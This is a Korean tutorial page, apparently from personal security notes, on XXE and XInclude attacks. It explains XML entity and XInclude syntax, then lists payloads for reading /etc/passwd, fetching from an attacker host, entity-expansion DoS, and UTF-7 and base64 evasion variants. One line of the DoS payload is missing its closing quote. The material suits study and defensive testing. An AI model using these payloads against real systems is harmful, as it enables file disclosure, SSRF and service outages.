Home
System Hacking
🪜

XXE(XML External Entity)와 XInclud 기법

Type
기법
TIME
2022/01/11 16:09
분야
XXE
1 more property

XXE(XML External Entity)

XML 외부 Entity 처리가 가능하게 설정된 경우 발생하는 취약점
XXEXML External Entity 공격이며, 해당 공격은 XML을 입력으로 받는 서비스에서 발생할 수 있습니다.
이 공격은 XML외부 entity를 참조하는 과정에서 발생하거나 취약한 XML Parser에서 발생합니다.
해당 공격을 통해서 접근할 수 없는 데이터에 접근하거나 DoS(Denial Of Service), SSRF(Server Side Request Forgery), Port Scan과 같은 공격을 시도할 수 있습니다.

XML Entity

XML Entity는 5개가 미리 정의되어 있습니다.
위와 같은 다섯 개의 Entity 이외 Entity는 사전에 DTD에서 선언해야 합니다.
외부 Entity란? 문서 외부에 존재하는 외부 Entityfile, html 등이 될 수 있으며 외부에 파일을 불러옵니다. 해당 기능은 SYSTEM Keyword를 사용하여 선언할 수 있습니다.

syntax

<!ENTITY 엔티티이름 SYSTEM "URI또는URL">
XML
복사

example

<!ENTITY passwd SYSTEM "file:///etc/passwd">
XML
복사

XML Parameter Entity

DTD 문서에서만 사용하기 위해 선언한 EntityParameter Entity라고 합니다.

syntax

<!ENTITY %엔티티이름 "엔티티값">
XML
복사

example

<!ENTITY %test "test1, test2, test3, test4">
XML
복사

XInclude

XInlcudeXML내 다른 문서를 포함하도록하는 기술이며 해당 기술을 통하여 XML File 혹은 XML File이 아닌 텍스트 파일의 데이터를 통합할 수 있습니다.

syntax

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="파일 이름"/> </foo>
XML
복사

example

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="test.txt"/> </foo>
XML
복사

XXE Processing

1.
ApplicationXML을 파싱합니다.
2.
공격자가 입력한 XMLDTD(Document Type Definition)EntitySYSTEM을 허용합니다.
3.
XML 파서DTD의 유효성을 검사합니다.
4.
XML 파서DTD 내의 외부 Entity를 참조하고 처리합니다.

XXE Payload

Local File Access

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>
XML
복사

Web Request

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" > ]> <foo>&xxe;</foo>
XML
복사

XInclude Local File Access

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </foo>
XML
복사

DoS

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol; <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> <tag>&lol9;</tag>
XML
복사

UTF-7 Encoding

<?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
XML
복사

Base64 Encoding

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
XML
복사
더 다양한 Payload를 확인하고 싶으면 아래의 링크를 클릭해주세요

Reference